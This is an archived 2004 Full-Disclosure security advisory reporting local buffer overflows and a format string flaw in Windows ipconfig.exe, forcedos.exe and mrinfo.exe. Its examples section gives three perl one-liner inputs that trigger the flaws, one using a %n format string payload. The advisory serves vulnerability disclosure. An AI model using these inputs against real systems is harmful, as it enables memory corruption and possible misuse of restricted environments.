[Full-Disclosure] Microsoft Windows cmd line tools BOFs

From: Martin Eiszner (m.eiszner_at_sec-consult.com)
Date: 11/17/04

  • Next message: Rob klein Gunnewiek: "Re: [Full-Disclosure] question regarding CAN-2004-0930" 
    To: full-disclosure@lists.netsys.com
Date: Wed, 17 Nov 2004 09:02:36 +0100

    ========================================
    Microsoft commandline tools BOF s
    ========================================

    Product: Windows-2000 SP4 / Windows-XP SP2

    Vulnerablities:

    - Buffer Overflow (no privilege escalation)

    Vendor: Microsoft (http://www.microsoft.com/)
    Vendor-Status: vendor contacted (between 2002 and 2003)
    Vendor-Patches: ipconfig (XP-SP 2) / forcedos.exe and mrinfo.exe not available

    Objects: ipconfig.exe / forcedos.exe / mrinfo.exe

    Exploitable:
    Local: PARTIAL
    Remote: NO

    ============
    Introduction
    ============ 

    ---
=====================
Vulnerability Details
=====================
1) LOCAL BUFFER OVERFLOWS / FORMAT STRING VULNERABILITY
=======================================================
OBJECTS:
ipconfig.exe (only Windows-2000 SP4)
forcedos.exe
mrinfo.exe
DESCRIPTION:
Insufficient input-validation leads to a) stack based bufferoverflows and b) format string- vulnerabilites.
EXAMPLES:
a) ipconfig.exe /`perl -e 'print "PAAAA\x44\x33\x22\x11","%08x"x13,"%n";'`
b) forcedos.exe `perl -e 'print "A"x6784;'`
c) mrinfo.exe -i `perl -e 'print "A"x60;'`
===============
GENERAL REMARKS
===============
Find related postings regarding this issue here: (http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2004-10/0065.html).
It is unlikely you to gain access or elevate priviledges thru "forcedos.exe" and "mrinfo.exe".
Nevertheless it might be possible to misuse "ipconfig.exe" in an "restricted" environment with DHCP enabled !!
====================
Recommended Hotfixes
====================
---
EOF @2003 Brereton_paul@btinternet.com,m.eiszner@sec-consult.com
=======
Contact
=======
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Brereton_paul@btinternet.com
m.eiszner@sec-consult.com
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  • Next message: Rob klein Gunnewiek: "Re: [Full-Disclosure] question regarding CAN-2004-0930"

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